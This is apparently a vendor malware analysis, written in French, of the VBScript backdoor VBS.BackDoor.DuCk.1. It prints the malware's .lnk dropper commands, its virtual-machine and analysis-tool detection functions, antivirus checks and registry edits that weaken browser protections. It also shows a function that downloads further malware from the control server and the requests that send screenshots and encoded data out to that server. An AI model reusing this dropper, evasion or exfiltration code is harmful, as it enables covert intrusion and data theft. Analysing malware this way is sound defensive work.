Le Trojan backdoor qui peut exécuter des commandes ainsi qu'envoyer au serveur de gestion des captures d'écran. Il est écrit en Visual Basic Script et est distribué comme un raccourci avec l'extension .lnk, contenant un script VBS compressé. Lors du lancement du raccourci, la fonction findstr est exécutée pour déterminer la signature du commencement du script et de la décompression en fichier avec lancement consécutif, autrement dit les actions suivantes sont exécutées :
copy *.doc.lnk %tmp%
%systemdrive%
cd %tmp%
dir /b /s *.doc.lnk > o
echo set /p f=^.bat
echo type "%f%"^>z9>>.bat
echo findstr /R /C:"#@~" z9^>1.vbe^&cscript 1.vbe^&del *.lnk /S /Q /Y >>.bat
.bat
Pour déterminer l'adresse du serveur de gestion, le Trojan utilise l'algorithme suivant. Au début du script VBS, il y a trois liens :
YouTubeLinks(0) = "https://dl.dropboxusercontent.com/s/v**********smun/index.html"
YouTubeLinks(1) = "http://www.youtube.com/watch?v=*******0b"
YouTubeLinks(2) = "https://www.youtube.com/watch?v=*******D0b"
Le Trojan envoie à ces ressources des requêtes GET et recherche dans la réponse l'expression spécifiée par les malfaiteurs :
our (.*)th psy anniversary
En réponse, le serveur renvoie un chiffre. Il est divisé par 31337, le résultat représente donc un autre chiffre, qui, après sa conversion en système hexadécimal, correspond à l'adresse IP du serveur de gestion à laquelle la ligne " /wp-admin-content/ " sera ajoutée. Pour vérifier si le serveur est opérationnel, le Trojan envoie une requête GET " ХХХ.ХХХ.ХХХ.ХХХ/wp-admin-content/Status2.php " et vérifie la présence d'une ligne " OKOKOK " dans la réponse.
Le Trojan possède un mécanisme spécial pour vérifier la présence de machines virtuelles sur l'ordinateur infecté. Cette vérification comprend trois étapes :
Function isVmDrivers()
Dim Drivers(2)
Drivers(0) = "virtualbox"
Drivers(1) = "parallels"
Drivers(2) = "vmware"
strText = shell_exec("driverquery")
result = False
For Each Driver in Drivers
inString = inStr(strText, Driver)
If not inString = 0 Then
result = Driver
End If
Next
isVmDrivers = result
End Function
Function isVmProduct()
Dim Product
Dim badProducts(1)
badProducts(0) = "parallels virtual platform"
badProducts(1) = "virtualbox"
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}
!\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_BaseBoard")
For Each objItem in colItems
Product = LCase(objItem.Product)
Next
result = False
For Each badProduct in badProducts
inString = inStr(Product, badProduct)
If not inString = 0 Then
result = badProduct
End If
Next
isVmProduct = result
End Function
Function isVmMAC()
Dim macs(29)
macs(0) = "00-01-5D"
macs(1) = "00-03-BA"
macs(2) = "00-07-82"
macs(3) = "00-0F-4B"
macs(4) = "00-10-4F"
macs(5) = "00-10-E0"
macs(6) = "00-14-4F"
macs(7) = "00-20-F2"
macs(8) = "00-21-28"
macs(9) = "00-21-F6"
macs(10) = "00-50-56"
macs(11) = "00-0C-29"
macs(12) = "00-05-69"
macs(13) = "00-03-FF"
macs(14) = "00-1C-42"
macs(15) = "00-16-3E"
macs(16) = "08-00-27"
macs(17) = "00-1C-14"
macs(18) = "08-00-20"
macs(19) = "00-0D-3A"
macs(20) = "00-12-5A"
macs(21) = "00-15-5D"
macs(22) = "00-17-FA"
macs(23) = "00-1D-D8"
macs(24) = "00-22-48"
macs(25) = "00-25-AE"
macs(26) = "00-50-C2"
macs(27) = "00-50-F2"
macs(28) = "44-45-53"
macs(29) = "7C-ED-8D"
strText = shell_exec("ipconfig /all")
result = False
For Each mac in macs
inString = inStr( strText, LCase(mac) )
If not inString = 0 Then
result = mac
End If
Next
isVmMAC = result
End Function
Le Trojan vérifie également la présence de processus des logiciels conçus pour surveiller le système d'exploitation :
Function checkRunningProcess()
Dim Processes(15)
Processes(0) = "taskmgr.exe"
Processes(1) = "procmon.exe"
Processes(2) = "procmon64.exe"
Processes(3) = "procexp.exe"
Processes(4) = "procexp64.exe"
Processes(5) = "ollydbg.exe"
Processes(6) = "wpe pro.exe"
Processes(7) = "wireshark.exe"
Processes(8) = "immunitydebugger.exe"
Processes(9) = "windbg.exe"
Processes(10) = "tcpview.exe"
Processes(11) = "tcpvcon.exe"
Processes(12) = "gmer.exe"
Processes(13) = "osam.exe"
Processes(14) = "startup.exe"
Processes(15) = "listdlls.exe"
strText = shell_exec("tasklist")
result = False
For Each Process in Processes
inString = inStr(strText, LCase(Process))
If not inString = 0 Then
result = Process
End If
Next
checkRunningProcess = result
End Function
Le backdoor peut également identifier certains logiciels antivirus :
malBytesPath1 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files\MalwareBytes' Anti-Malware"
malBytesPath2 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files (x86)\MalwareBytes' Anti-Malware"
malBytesPath3 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files\Malwarebytes Anti-Malware"
malBytesPath4 = s.ExpandEnvironmentStrings("%systemdrive%") &
"\Program Files (x86)\Malwarebytes Anti-Malware"
If fileSys.FolderExists(malBytesPath1) or fileSys.FolderExists(malBytesPath2)
or fileSys.FolderExists(malBytesPath3) or fileSys.FolderExists(malBytesPath4) Then
isMalwB = True
Else
isMalwB = False
End If
If fileSys.FileExists("1.vbe") Then
fileSys.CopyFile Wscript.ScriptFullName, path & "\.vbe"
fileSys.DeleteFile "1.vbe"
isKaspersky = inStr(LCase(installedAV), "kasper")
If isKaspersky = 0 Then
objShell.ShellExecute "cscript.exe", ".vbe", path, "open", 0
End If
WScript.Quit 1
End If
Dans le répertoire de l'utilisateur Windows, le Trojan crée un sous-dossier " %userprofile%\SystemFolder " qu'il utilise pour son fonctionnement. Pour se masquer, le Trojan enregistre dans le dossier %temp% le document vtoroy_doc.doc et l'affiche à l'utilisateur :
Les spécialistes supposent qu'au début, les malfaiteurs voulaient utiliser la présentation PowerPoint, car le code du Trojan prévoit l'arrêt du processus de ce logiciel (si cette case est cochée), mais pour une raison quelconque, ils ont changé d'avis.
Pour faire des captures d'écran, le backdoor utilise sa bibliothèque. Les captures sont enregistrées dans le dossier temporaire comme des fichiers " %temp%\~PF214C.tmp ".
A l'aide du fichier REG, le Trojan désactive les plug-ins du navigateur Microsoft Internet Explorer :
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Enable Browser Extensions"="no"
S'il est lancé sur l'ordinateur sous Windows Vista, il peut désactiver dans le navigateur le mode « protected » en utilisant l'autre fichier REG :
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"NoProtectedModeBanner"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"2500"=dword:00000003
Le Trojan assure son démarrage automatique en créant son raccourci " %Startup%\Microsoft Sync Services.lnk ", qui lance le script h.vbe.
Si le Trojan trouve une machine virtuelle ou les processus de sa liste de vérification, il envoie le rapport au serveur de gestion :
server & "/rit.php?cn=" & computerName & "&un=" & userName & "&an=" & notifyName &
"&id=" & Serial & "&r=" & reason
où reason est une ligne composée des résultats des vérifications :
reason = vmProd & ", " & vmDrivers & ", " & vmMac & ", " & runningProc
Les requêtes suivantes sont envoyées chaque seconde. Pour recevoir des commandes, le Trojan envoie la requête suivante :
server & "/c.php" & "?id=" & Serial
En réponse il peut recevoir la commande " download>(.*)>(.*) " pour télécharger sur l'ordinateur infecté d'autre logiciels malveillants :
Function downFile(args)
argsNum = uBound(args) + 1
writePath = args(1)
wrapper = "Byt34rr4y"
If argsNum = 2 Then
data = getPage(server & "/d.php?f=" & Base64EncodeString( args(0) ), 60, "get")
find = preg_match(wrapper & "(.*)" & wrapper, data)
If IsArray(find) Then
writer = writeByteArrayToFile(writePath, find(0))
End If
End If
End Function
Toutes les autres commandes sont envoyées par VBS.BackDoor.DuCk.1 à l'interpréteur de commandes CMD ou PowerShell. La requête suivante est utilisée pour envoyer au serveur de gestion des captures d'écran :
server & "/rs.php", 30, "i=" & Serial & "&d=" & encodeBase64(inByteArray) & "&t=" &
get_formatted_time() & "&l=" & Len(encodeBase64(inByteArray))
où inByteArray - sont les données du fichier de capture d'écran.
De plus, il peut lancer le script Python, dont les résultats de fonctionnement cryptés sont envoyés au serveur des pirates :
server & "/rk.php", 30, "i=" & Serial & "&d=" & encodedData & "&t=" & get_formatted_time() &
"&l=" & Len(encodedData)
où encodedData est le contenu du fichier, crypté par l'algorithme base64.